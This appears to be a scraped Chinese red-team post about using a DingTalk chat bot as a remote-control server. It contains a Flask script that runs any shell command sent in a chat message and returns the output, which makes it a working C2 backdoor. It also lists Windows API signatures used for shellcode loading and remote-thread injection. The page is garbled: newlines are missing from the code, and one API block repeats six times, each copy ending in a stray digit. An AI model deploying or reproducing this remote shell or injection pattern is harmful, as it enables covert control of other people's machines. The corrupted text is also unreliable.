红队作业 | 钉钉机器人远控服务器体验

# -*- coding: utf-8 -*-import subprocessimport chardetfrom flask import Flask, requestimport hmacimport hashlibimport base64import jsonimport requestsapp = Flask(__name__)# 消息数字签名计算核对def check_sig(timestamp):    # 设置 secret，上面应用信息凭证的值    app_secret = 'xxx'    app_secret_enc = app_secret.encode('utf-8')    string_to_sign = '{}n{}'.format(timestamp, app_secret)    string_to_sign_enc = string_to_sign.encode('utf-8')    hmac_code = hmac.new(app_secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest()    sign = base64.b64encode(hmac_code).decode('utf-8')    return sign# 发送markdown消息def send_md_msg(userid, title, message, webhook_url):    data = {        "msgtype": "markdown",        "markdown": {            "title": title,            "text": message        },        '''        "msgtype": "text",        "text": {            "content": message        },        '''        "at": {            "atUserIds": [                userid            ],        }    }    # 利用requests发送post请求    req = requests.post(webhook_url, json=data)# 命令执行def exec_command(command):    p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)    data = p.stdout.read()    encoding = chardet.detect(data)['encoding']    out = "".join(data.decode(encoding))    return out# 处理自动回复消息def handle_info(req_data):    # 解析用户发送消息 通讯webhook_url    text_info = req_data['text']['content'].strip()    webhook_url = req_data['sessionWebhook']    senderid = req_data['senderId']    # print('***************text_info：', text_info)    # 处理系统命令    if 'command' in text_info:        cmd = str(text_info).split(':')[1]        title = '执行命令:'+cmd        text = exec_command(cmd)        send_md_msg(senderid, title, text, webhook_url)@app.route("/", methods=["POST"])def get_data():    # 第一步验证：是否是post请求    if request.method == "POST":        # print(request.headers)        # 签名验证 获取headers中的Timestamp和Sign        timestamp = request.headers.get('Timestamp')        sign = request.headers.get('Sign')        # 第二步验证：签名是否有效        if check_sig(timestamp) == sign:            # 获取、处理数据            req_data = json.loads(str(request.data, 'utf-8'))            # print(req_data)            handle_info(req_data)            print('验证通过')        print('验证不通过')    print('有get请求')if __name__ == '__main__':    app.run(host='0.0.0.0', port=9000)

LPVOID VirtualAlloc(  [in, optional] LPVOID lpAddress,                             // #要分配的内存区域的地址  [in]           SIZE_T dwSize,                                    // 申请分配内存的大小  [in]           DWORD  flAllocationType,       // 申请分配内存的类型  [in]           DWORD  flProtect                                // 申请分配内存的保护);//返回值//函数成功，则返回值为返回已分配的内存基址//函数失败，则返回值为NULL

void RtlMoveMemory(   void*       Destination,        //指向移动目的地址的指针。   const void* Source,            //指向要复制的内存地址的指针。   size_t      Length            //指定要复制的字节数。);// 返回值：// 如果函数成功，则返回值为已分配页区域的基址。// 如果函数失败，则返回值为 NULL。

HANDLE CreateThread(  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,  // 线程安全属性  [in]            SIZE_T                  dwStackSize,           // 置初始栈的大小，以字节为单位  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,      // 指向线程函数的指针  [in, optional]  __drv_aliasesMem LPVOID lpParameter,           // 向线程函数传递的参数  [in]            DWORD                   dwCreationFlags,       // 线程创建属性  [out, optional] LPDWORD                 lpThreadId           // 保存新线程的id);// 返回值：// 如果函数成功，则返回值是新线程的句柄。// 如果函数失败，则返回值为 NULL。

DWORD WaitForSingleObject(  [in] HANDLE hHandle,         // #对象句柄。可以指定一系列的对象  [in] DWORD  dwMilliseconds   // #定时时间间隔);// 返回值：// 如果函数成功，则返回值指示导致函数返回的事件。

BOOL VirtualProtect(  [in]  LPVOID lpAddress,          // 要更改其访问保护属性的页面区域的起始页的地址。  [in]  SIZE_T dwSize,             // 要更改其访问保护属性的区域的大小（以字节为单位）  [in]  DWORD  flNewProtect,       // 内存保护选项。  [out] PDWORD lpflOldProtect      // 指向一个变量的指针，该变量接收指定页区域中第一页的上一个访问保护值);// 函数成功，返回值为非零；函数执行失败，返回值为0

VOID RtlMoveMemory(  _Out_       VOID UNALIGNED *Destination,  // 指向要复制字节的目标内存块的指针  _In_  const VOID UNALIGNED *Source,        // 指向要复制字节的源内存块的指针  _In_        SIZE_T         Length         // 从原复制到目标中的字节数);//无返回值

HANDLE HeapCreate(  [in] DWORD  flOptions,        // 堆的分配选项  [in] SIZE_T dwInitialSize,    // 堆的初始大小  [in] SIZE_T dwMaximumSize     // 堆的最大大小);//返回值：执行成功，返回值是新创建的堆的句柄；执行失败，返回值为NULL

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(  [in] HANDLE hHeap,            // 将从中分配内存的堆的句柄。此句柄由 HeapCreate 或 GetProcessHeap 函数返回。  [in] DWORD  dwFlags,          // 堆分配选项。指定这些值中的任何一个都将覆盖使用 HeapCreate 创建堆时指定的相应值。  [in] SIZE_T dwBytes           // 分配的字节数);//返回值：//成功：返回值是指向已分配内存块的指针//失败：未设置堆分配选项为 HEAP_GENERATE_EXCEPTIONS，则返回值为 NULL；否则返回特定的异常

HANDLE CreateRemoteThread(  [in]  HANDLE                 hProcess,                 // 要在其中创建线程的进程的句柄  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,       // 指向SECURITY_ATTRIBUTES结构的指针，该结构指定新线程的安全描述符并确定子进程是否可以继承返回的句柄。  [in]  SIZE_T                 dwStackSize,                 //    堆栈的初始大小（以字节为单位）         [in]  LPTHREAD_START_ROUTINE lpStartAddress,            // 指向应用程序定义函数类型的指针LPTHREAD_START_ROUTINE由线程执行，并表示远程进程中线程的起始地址。  [in]  LPVOID                 lpParameter,              // 指向要传递给线程函数的变量的指针。  [in]  DWORD                  dwCreationFlags,          // 控制线程创建的标志  [out] LPDWORD                lpThreadId                // 指向接收线程标识符的变量的指针);//返回值：//成功：返回值是新线程的句柄//失败：返回值为 NULL

LPVOID VirtualAlloc(  [in, optional] LPVOID lpAddress,                             // #要分配的内存区域的地址  [in]           SIZE_T dwSize,                                    // 申请分配内存的大小  [in]           DWORD  flAllocationType,       // 申请分配内存的类型  [in]           DWORD  flProtect                                // 申请分配内存的保护);//返回值//函数成功，则返回值为返回已分配的内存基址//函数失败，则返回值为NULL0

LPVOID VirtualAlloc(  [in, optional] LPVOID lpAddress,                             // #要分配的内存区域的地址  [in]           SIZE_T dwSize,                                    // 申请分配内存的大小  [in]           DWORD  flAllocationType,       // 申请分配内存的类型  [in]           DWORD  flProtect                                // 申请分配内存的保护);//返回值//函数成功，则返回值为返回已分配的内存基址//函数失败，则返回值为NULL1

LPVOID VirtualAlloc(  [in, optional] LPVOID lpAddress,                             // #要分配的内存区域的地址  [in]           SIZE_T dwSize,                                    // 申请分配内存的大小  [in]           DWORD  flAllocationType,       // 申请分配内存的类型  [in]           DWORD  flProtect                                // 申请分配内存的保护);//返回值//函数成功，则返回值为返回已分配的内存基址//函数失败，则返回值为NULL2

LPVOID VirtualAlloc(  [in, optional] LPVOID lpAddress,                             // #要分配的内存区域的地址  [in]           SIZE_T dwSize,                                    // 申请分配内存的大小  [in]           DWORD  flAllocationType,       // 申请分配内存的类型  [in]           DWORD  flProtect                                // 申请分配内存的保护);//返回值//函数成功，则返回值为返回已分配的内存基址//函数失败，则返回值为NULL3

LPVOID VirtualAlloc(  [in, optional] LPVOID lpAddress,                             // #要分配的内存区域的地址  [in]           SIZE_T dwSize,                                    // 申请分配内存的大小  [in]           DWORD  flAllocationType,       // 申请分配内存的类型  [in]           DWORD  flProtect                                // 申请分配内存的保护);//返回值//函数成功，则返回值为返回已分配的内存基址//函数失败，则返回值为NULL4

LPVOID VirtualAlloc(  [in, optional] LPVOID lpAddress,                             // #要分配的内存区域的地址  [in]           SIZE_T dwSize,                                    // 申请分配内存的大小  [in]           DWORD  flAllocationType,       // 申请分配内存的类型  [in]           DWORD  flProtect                                // 申请分配内存的保护);//返回值//函数成功，则返回值为返回已分配的内存基址//函数失败，则返回值为NULL5